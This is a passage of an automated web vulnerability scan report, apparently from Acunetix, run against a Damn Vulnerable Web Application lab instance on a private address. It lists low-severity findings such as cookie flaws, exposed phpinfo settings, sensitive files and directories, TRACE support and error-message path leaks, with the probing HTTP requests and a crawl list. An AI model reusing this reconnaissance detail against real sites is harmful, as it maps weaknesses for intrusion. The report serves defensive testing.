- <http://192.168.78.129/dvwa/about.php>

```
Set-Cookie: PHPSESSID=56f6b9dae023016e66bc1143201c7686; path=/
```

- <http://192.168.78.129/dvwa/index.php>

```
Set-Cookie: PHPSESSID=7ca4f299f5d800cac8aac03ba48b28b1; path=/
```

- http://192.168.78.129/dvwa/ids_log.php

```
Set-Cookie: PHPSESSID=95f2c9f19ffad2469dd49ae71dcd1063; path=/
```

- <http://192.168.78.129/dvwa/security.php>

```
Set-Cookie: PHPSESSID=5178391e5c3dc309417fc79965bd68e1; path=/
```

- <http://192.168.78.129/dvwa/login.php>

Set-Cookie: PHPSESSID=b05bd1c8b6a7bd19a81fc83c51c972c8; path=/

- <http://192.168.78.129/dvwa/setup.php>

Set-Cookie: PHPSESSID=621d6568f8df26c7b514176d6a6870ac; path=/

- <http://192.168.78.129/dvwa/phpinfo.php>

Set-Cookie: PHPSESSID=b7d8af8d4a34f77fbcaca683d0ecdb71; path=/

- <http://192.168.78.129/dvwa/instructions.php>

Set-Cookie: PHPSESSID=2ceb395c7999af72cdf8eca0bee444ad; path=/

- <http://192.168.78.129/dvwa/security.php>

Set-Cookie: PHPSESSID=be29ee72e28d01ba225847a7e1ca8ed7; path=/

- <http://192.168.78.129/dvwa/vulnerabilities/upload/>

Set-Cookie: PHPSESSID=08e2ec1883f5b62b2af05fa9f20f86c1; path=/

- http://192.168.78.129/dvwa/vulnerabilities/xss_s/

Set-Cookie: PHPSESSID=948eaabcc53cd2e90df19dfb9a0e7e9a; path=/

- <http://192.168.78.129/dvwa/vulnerabilities/exec/>

Set-Cookie: PHPSESSID=d45ec51112c17a7ad8bf558a96f78df4; path=/

- <http://192.168.78.129/dvwa/vulnerabilities/exec/index.php>

Set-Cookie: PHPSESSID=ea25e7b45e702496f49d1dce2e0c2f0b; path=/

- http://192.168.78.129/dvwa/vulnerabilities/xss_r/

Set-Cookie: PHPSESSID=cebc4b78445ce4813fcadcd8a520f; path=/

- <http://192.168.78.129/dvwa/vulnerabilities/upload/>

Set-Cookie: PHPSESSID=26f85892124bb9fd462b92a2c952ecab; path=/

GET /dvwa/index.php HTTP/1.1
Host: 192.168.78.129
Pragma: no-cache
Cache-Control: no-cache
accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-language: en-US
upgrade-insecure-requests: 1
Accept-Encoding: gzip,deflate,br
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Web Server	
Alert group	Cookies with missing, inconsistent or contradictory properties (verified)
Severity	Low
Description	At least one of the following cookies properties causes the cookie to be invalid or incompatible with either a different property of the same cookie, of with the environment the cookie is being used in. Although this is not a vulnerability in itself, it will likely lead to unexpected behavior by the application, which in turn may cause secondary security issues.
Recommendations	Ensure that the cookies configuration complies with the applicable standards.
Alert variants	

List of cookies with missing, inconsistent or contradictory properties:

- <http://192.168.78.129/dvwa/index.php>

Cookie was set with:

```
Set-Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; path=/
```

This cookie has the following issues:

```
- Cookie without SameSite attribute.  
When cookies lack the SameSite attribute, Web browsers may apply
```

- <http://192.168.78.129/dvwa/index.php>

Cookie was set with:

```
Set-Cookie: security=high
```

This cookie has the following issues:

```
- Cookie without SameSite attribute.  
When cookies lack the SameSite attribute, Web browsers may apply
```

- <http://192.168.78.129/dvwa/security.php>

Cookie was set with:

```
Set-Cookie: security=low
```

This cookie has the following issues:

```
- Cookie without SameSite attribute.  
When cookies lack the SameSite attribute, Web browsers may apply
```

- <http://192.168.78.129/dvwa/>

Cookie was set with:

```
Set-Cookie: PHPSESSID=7fffd41ce70069825c6830ae4c4e61370; path=/
```

This cookie has the following issues:

```
- Cookie without SameSite attribute.  
When cookies lack the SameSite attribute, Web browsers may apply
```

- <http://192.168.78.129/dvwa/login.php>

Cookie was set with:

```
Set-Cookie: PHPSESSID=52a5641e1d2e377a6580751ab56c74f7; path=/
```

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/setup.php>

Cookie was set with:

Set-Cookie: PHPSESSID=de50a6197a90279e17f2f0195ce7c471; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/about.php>

Cookie was set with:

Set-Cookie: PHPSESSID=56f6b9dae023016e66bc1143201c7686; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/index.php>

Cookie was set with:

Set-Cookie: PHPSESSID=7ca4f299f5d800cac8aac03ba48b28b1; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- http://192.168.78.129/dvwa/ids_log.php

Cookie was set with:

Set-Cookie: PHPSESSID=95f2c9f19ffad2469dd49ae71dcd1063; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/security.php>

Cookie was set with:

Set-Cookie: PHPSESSID=5178391e5c3dc309417fc79965bd68e1; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/login.php>

Cookie was set with:

Set-Cookie: PHPSESSID=b05bd1c8b6a7bd19a81fc83c51c972c8; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/setup.php>

Cookie was set with:

Set-Cookie: PHPSESSID=621d6568f8df26c7b514176d6a6870ac; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/phpinfo.php>

Cookie was set with:

Set-Cookie: PHPSESSID=b7d8af8d4a34f77fbcaca683d0ecdb71; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/instructions.php>

Cookie was set with:

Set-Cookie: PHPSESSID=2ceb395c7999af72cdf8eca0bee444ad; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/security.php>

Cookie was set with:

Set-Cookie: PHPSESSID=be29ee72e28d01ba225847a7e1ca8ed7; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/vulnerabilities/upload/>

Cookie was set with:

Set-Cookie: PHPSESSID=08e2ec1883f5b62b2af05fa9f20f86c1; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- http://192.168.78.129/dvwa/vulnerabilities/xss_s/

Cookie was set with:

Set-Cookie: PHPSESSID=948eaabcc53cd2e90df19dfb9a0e7e9a; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/vulnerabilities/exec/>

Cookie was set with:

Set-Cookie: PHPSESSID=d45ec51112c17a7ad8bf558a96f78df4; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/vulnerabilities/exec/index.php>

Cookie was set with:

Set-Cookie: PHPSESSID=ea25e7b45e702496f49d1dce2e0c2f0b; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- http://192.168.78.129/dvwa/vulnerabilities/xss_r/

Cookie was set with:

Set-Cookie: PHPSESSID=cebc4b78445ce4813fcadcdddd8a520f; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

- <http://192.168.78.129/dvwa/vulnerabilities/upload/>

Cookie was set with:

Set-Cookie: PHPSESSID=26f85892124bb9fd462b92a2c952ecab; path=/

This cookie has the following issues:

- Cookie without SameSite attribute.
When cookies lack the SameSite attribute, Web browsers may apply

```
GET /dvwa/index.php HTTP/1.1
Host: 192.168.78.129
Pragma: no-cache
Cache-Control: no-cache
accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-language: en-US
upgrade-insecure-requests: 1
Accept-Encoding: gzip,deflate,br
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
```

Web Server	
Alert group	Documentation files
Severity	Low
Description	One or more documentation files (e.g. readme.txt, changelog.txt, ...) were found. The information contained in these files could help an attacker identify the web application you are using and sometimes the version of the application. It's recommended to remove these files from production systems.
Recommendations	Remove or restrict access to all documentation file acessible from internet.
Alert variants	

Details	Documentation files: • http://192.168.78.129/dvwa/README File contents (first 100 characters): ##### ##### DAMN VULNERABLE WEB ... • http://192.168.78.129/dvwa/README.txt File contents (first 100 characters): ##### ##### DAMN VULNERABLE WEB ... • http://192.168.78.129/dvwa/CHANGELOG File contents (first 100 characters): ##### ##### DAMN VULNERABLE WEB ... • http://192.168.78.129/dvwa/CHANGELOG.txt File contents (first 100 characters): ##### ##### DAMN VULNERABLE WEB ...
---------	---

GET /dvwa/README HTTP/1.1
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

/dvwa/phpinfo.php	
Alert group	PHP allow_url_fopen Is Enabled (verified)
Severity	Low
Description	The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering. allow_url_fopen is enabled by default.
Recommendations	You can disable allow_url_fopen from either php.ini (for PHP versions newer than 4.3.4) or .htaccess (for PHP versions up to 4.3.4). php.ini allow_url_fopen = 'off' .htaccess php_flag allow_url_fopen off
Alert variants	
Details	This vulnerability was detected using the information from phpinfo() page. allow_url_fopen: On

```
GET /dvwa/phpinfo.php HTTP/1.1
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

/dvwa/phpinfo.php	
Alert group	PHP display_errors Is Enabled (verified)
Severity	Low
Description	Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found that the PHP display_errors directive is enabled.
Recommendations	Adjust php.ini or .htaccess (mod_php with Apache HTTP Server) to disable display_errors (refer to 'Detailed information' section).
Alert variants	
Details	This vulnerability was detected using the information from phpinfo() page. display_errors: On

```
GET /dvwa/phpinfo.php HTTP/1.1
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

/dvwa/phpinfo.php	
Alert group	PHP open_basedir Is Not Configured (verified)
Severity	Low
Description	The open_basedir configuration directive will limit the files that can be opened by PHP to the specified directory-tree. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. open_basedir is a good protection against remote file inclusion vulnerabilities. For a remote attacker it is not possible to break out of the open_basedir restrictions if he is only able to inject the name of a file to be included. Therefore the number of files he will be able to include with such a local file include vulnerability is limited.
Recommendations	You can set open_basedir from php.ini php.ini open_basedir = your_application_directory
Alert variants	
Details	This vulnerability was detected using the information from phpinfo() page. open_basedir: no value


```
GET /dvwa/phpinfo.php HTTP/1.1
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

Web Server	
Alert group	Possible sensitive directories
Severity	Low
Description	One or more possibly sensitive directories were found. These resources are not directly linked from the website. This check looks for common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each one of these directories could help an attacker to learn more about his target.
Recommendations	Restrict access to these directories or remove them from the website.
Alert variants	
Details	Possible sensitive directories: • http://192.168.78.129/dvwa/config

```
GET /dvwa/config/ HTTP/1.1
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

Web Server	
Alert group	Possible sensitive files
Severity	Low
Description	A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one of these files could help an attacker to learn more about his target.
Recommendations	Restrict access to this file or remove it from the website.
Alert variants	
Details	Possible sensitive files: • http://192.168.78.129/dvwa/php.ini

```
GET /dvwa/php.ini HTTP/1.1
Accept: qakrerxi/yvqq
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

Web Server	
Alert group	Programming Error Messages
Severity	Low
Description	This alert requires manual confirmation Acunetix found one or more error/warning messages. Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. These messages may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page(s).
Recommendations	Verify that these page(s) are disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	Application error messages: http://192.168.78.129/dvwa/vulnerabilities/view_help.php Warning: file_get_contents(..\vulnerabilities\help\help.php) [function.file-get-contents]: failed to open stream: No such file or directory in /var/www/dvwa/vulnerabilities/view_help.php on line 14 http://192.168.78.129/dvwa/instructions.php Warning: array_key_exists() [function.array-key-exists]: The first argument should be either a string or an integer in /var/www/dvwa/instructions.php on line 20 http://192.168.78.129/dvwa/vulnerabilities/fi/include.php Fatal error http://192.168.78.129/dvwa/vulnerabilities/fi/include.php Fatal error: Call to undefined function dvwaExternalLinkUrlGet() in /var/www/dvwa/vulnerabilities/fi/include.php on line 15 http://192.168.78.129/dvwa/vulnerabilities/xss_r/ Warning: htmlspecialchars() expects parameter 1 to be string, array given in /var/www/dvwa/vulnerabilities/xss_r/source/high.php on line 10

```
GET /dvwa/vulnerabilities/view_help.php?id=&security=high HTTP/1.1
Referer: http://192.168.78.129/dvwa/index.php
Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; security=high
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

Web Server	
Alert group	TRACE/TRACK Method Detected
Severity	Low
Description	HTTP TRACE method is enabled on this web server. In the presence of other cross-domain vulnerabilities in web browsers, sensitive header information could be read from any domains that support the HTTP TRACE method.
Recommendations	Disable TRACE Method on the web server.
Alert variants	
Details	
<pre>TRACE /mGimqJiJ6E HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

Web Server	
Alert group	Version Disclosure (PHP)
Severity	Low
Description	The web server is sending the X-Powered-By: response headers, revealing the PHP version.
Recommendations	Configure your web server to prevent information leakage from its HTTP response.
Alert variants	
Details	Version detected: PHP/5.2.4-2ubuntu5.10.

Web Server	
Alert group	Content Security Policy (CSP) Not Implemented
Severity	Informational

Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. Content Security Policy (CSP) can be implemented by adding a Content-Security-Policy header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following: <pre>Content-Security-Policy: default-src 'self'; script-src 'self' https://code.jquery.com;</pre> It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.
Recommendations	It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the Content-Security-Policy HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.
Alert variants	

Details	Paths without CSP header: • http://192.168.78.129/dvwa/dvwa/js/ • http://192.168.78.129/dvwa/dvwa/css/ • http://192.168.78.129/dvwa/login.php • http://192.168.78.129/dvwa/ • http://192.168.78.129/dvwa/dvwa/ • http://192.168.78.129/dvwa/vulnerabilities/fi/ • http://192.168.78.129/dvwa/about.php • http://192.168.78.129/dvwa/vulnerabilities/view_help.php • http://192.168.78.129/dvwa/instructions.php • http://192.168.78.129/dvwa/vulnerabilities/view_source.php • http://192.168.78.129/dvwa/phpinfo.php • http://192.168.78.129/dvwa/security.php • http://192.168.78.129/dvwa/setup.php • http://192.168.78.129/dvwa/ids_log.php • http://192.168.78.129/dvwa/config/ • http://192.168.78.129/dvwa/docs/ • http://192.168.78.129/dvwa/vulnerabilities/view_source_all.php • http://192.168.78.129/dvwa/vulnerabilities/fi/help/ • http://192.168.78.129/dvwa/vulnerabilities/fi/include.php • http://192.168.78.129/dvwa/vulnerabilities/fi/index.php • http://192.168.78.129/dvwa/dvwa/images/
---------	--

```

GET /dvwa/dvwa/js/ HTTP/1.1
Referer: http://192.168.78.129/dvwa/dvwa/js/
Cookie: PHPSESSID=fd97e8536bdddbd1aa079c2821d32d63; security=high
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

```

Web Server	
Alert group	Error page web server version disclosure
Severity	Informational

Description	Application errors or warning messages may disclose sensitive information about an application's internal workings to an attacker. Acunetix found the web server version number and a list of modules enabled on the target server. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Properly configure the web server not to disclose information about an application's internal workings to the user. Consult the 'Web references' section for more information.
Alert variants	
Details	
<pre>GET /juIwvgpcVG HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

Web Server	
Alert group	File Upload Functionality Detected
Severity	Informational
Description	These pages allows visitors to upload files to the server. Various web applications allow users to upload files (such as pictures, images, sounds, ...). Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
Recommendations	Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
Alert variants	
Details	Pages with file upload forms: • http://192.168.78.129/dvwa/vulnerabilities/upload/ Form name: <empty> Form action: # Form method: POST Form file input: uploaded [file]
<pre>GET /dvwa/vulnerabilities/upload/ HTTP/1.1 Referer: http://192.168.78.129/dvwa/index.php Cookie: PHPSESSID=fd97e8536bdddbd1aa079c2821d32d63; security=high Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

Web Server	
Alert group	Generic Email Address Disclosure
Severity	Informational

Description	One or more email addresses have been found on this website. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Emails found: • http://192.168.78.129/dvwa/instructions.php dvwa@dvwa.co.uk • http://192.168.78.129/dvwa/CHANGELOG dvwa@ethicalhack3r.co.uk • http://192.168.78.129/dvwa/CHANGELOG.txt dvwa@ethicalhack3r.co.uk • http://192.168.78.129/dvwa/README dvwa@dvwa.co.uk • http://192.168.78.129/dvwa/README.txt dvwa@dvwa.co.uk • http://192.168.78.129/dvwa/instructions.php dvwa@ethicalhack3r.co.uk
<pre>GET /dvwa/instructions.php?doc=readme HTTP/1.1 Referer: http://192.168.78.129/dvwa/instructions.php Cookie: PHPSESSID=fd97e8536bddbd1aa079c2821d32d63; security=high Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

Web Server	
Alert group	Permissions-Policy header not implemented
Severity	Informational
Description	The Permissions-Policy header allows developers to selectively enable and disable use of various browser features and APIs.
Recommendations	
Alert variants	

Details	Locations without Permissions-Policy header: • http://192.168.78.129/dvwa/dvwa/js/ • http://192.168.78.129/dvwa/dvwa/css/ • http://192.168.78.129/dvwa/login.php • http://192.168.78.129/dvwa/ • http://192.168.78.129/dvwa/dvwa/ • http://192.168.78.129/dvwa/vulnerabilities/fi/ • http://192.168.78.129/dvwa/about.php • http://192.168.78.129/dvwa/vulnerabilities/view_help.php • http://192.168.78.129/dvwa/instructions.php • http://192.168.78.129/dvwa/vulnerabilities/view_source.php • http://192.168.78.129/dvwa/phpinfo.php • http://192.168.78.129/dvwa/security.php • http://192.168.78.129/dvwa/setup.php • http://192.168.78.129/dvwa/ids_log.php • http://192.168.78.129/dvwa/config/ • http://192.168.78.129/dvwa/docs/ • http://192.168.78.129/dvwa/vulnerabilities/view_source_all.php • http://192.168.78.129/dvwa/vulnerabilities/fi/help/ • http://192.168.78.129/dvwa/vulnerabilities/fi/include.php • http://192.168.78.129/dvwa/vulnerabilities/fi/index.php • http://192.168.78.129/dvwa/dvwa/images/
<pre>GET /dvwa/dvwa/js/ HTTP/1.1 Referer: http://192.168.78.129/dvwa/dvwa/js/ Cookie: PHPSESSID=fd97e8536bddb1aa079c2821d32d63; security=high Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

Web Server	
Alert group	[Possible] Internal Path Disclosure (*nix)
Severity	Informational
Description	One or more fully qualified path names were found. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pages with paths being disclosed: • http://192.168.78.129/dvwa/phpinfo.php >/etc/php5/cgi


```
GET /dvwa/phpinfo.php HTTP/1.1
Referer: http://192.168.78.129/dvwa/index.php
Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; security=high
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

Scanned items (coverage report)

<http://192.168.78.129/>
<http://192.168.78.129/dvwa/>
<http://192.168.78.129/dvwa/CHANGELOG>
<http://192.168.78.129/dvwa/CHANGELOG.txt>
<http://192.168.78.129/dvwa/README>
<http://192.168.78.129/dvwa/README.txt>
<http://192.168.78.129/dvwa/about.php>
<http://192.168.78.129/dvwa/config/>
<http://192.168.78.129/dvwa/config/config.inc.php~>
<http://192.168.78.129/dvwa/docs/>
<http://192.168.78.129/dvwa/dvwa/>
<http://192.168.78.129/dvwa/dvwa/css/>
<http://192.168.78.129/dvwa/dvwa/css/help.css>
<http://192.168.78.129/dvwa/dvwa/css/login.css>
<http://192.168.78.129/dvwa/dvwa/css/main.css>
<http://192.168.78.129/dvwa/dvwa/css/source.css>
<http://192.168.78.129/dvwa/dvwa/images/>
<http://192.168.78.129/dvwa/dvwa/js/>
<http://192.168.78.129/dvwa/dvwa/js/dvwaPage.js>
http://192.168.78.129/dvwa/ids_log.php
<http://192.168.78.129/dvwa/index.php>
<http://192.168.78.129/dvwa/instructions.php>
<http://192.168.78.129/dvwa/login.php>
<http://192.168.78.129/dvwa/php.ini>
<http://192.168.78.129/dvwa/phpinfo.php>
<http://192.168.78.129/dvwa/security.php>
<http://192.168.78.129/dvwa/setup.php>
<http://192.168.78.129/dvwa/vulnerabilities/>
<http://192.168.78.129/dvwa/vulnerabilities/brute/>
<http://192.168.78.129/dvwa/vulnerabilities/brute/help/>
<http://192.168.78.129/dvwa/vulnerabilities/brute/index.php>
<http://192.168.78.129/dvwa/vulnerabilities/csrf/>
<http://192.168.78.129/dvwa/vulnerabilities/csrf/help/>
<http://192.168.78.129/dvwa/vulnerabilities/csrf/index.php>
<http://192.168.78.129/dvwa/vulnerabilities/exec/>
<http://192.168.78.129/dvwa/vulnerabilities/exec/help/>
<http://192.168.78.129/dvwa/vulnerabilities/exec/index.php>
<http://192.168.78.129/dvwa/vulnerabilities/fi/>
<http://192.168.78.129/dvwa/vulnerabilities/fi/help/>
<http://192.168.78.129/dvwa/vulnerabilities/fi/include.php>
<http://192.168.78.129/dvwa/vulnerabilities/fi/index.php>
<http://192.168.78.129/dvwa/vulnerabilities/function.file-get-contents>
<http://192.168.78.129/dvwa/vulnerabilities/sqli/>
<http://192.168.78.129/dvwa/vulnerabilities/sqli/help/>
<http://192.168.78.129/dvwa/vulnerabilities/sqli/index.php>
http://192.168.78.129/dvwa/vulnerabilities/sqli_blind/
http://192.168.78.129/dvwa/vulnerabilities/sqli_blind/help/
http://192.168.78.129/dvwa/vulnerabilities/sqli_blind/index.php
<http://192.168.78.129/dvwa/vulnerabilities/upload/>
http://192.168.78.129/dvwa/vulnerabilities/view_help.php
http://192.168.78.129/dvwa/vulnerabilities/view_source.php
http://192.168.78.129/dvwa/vulnerabilities/view_source_all.php
http://192.168.78.129/dvwa/vulnerabilities/xss_r/
http://192.168.78.129/dvwa/vulnerabilities/xss_s/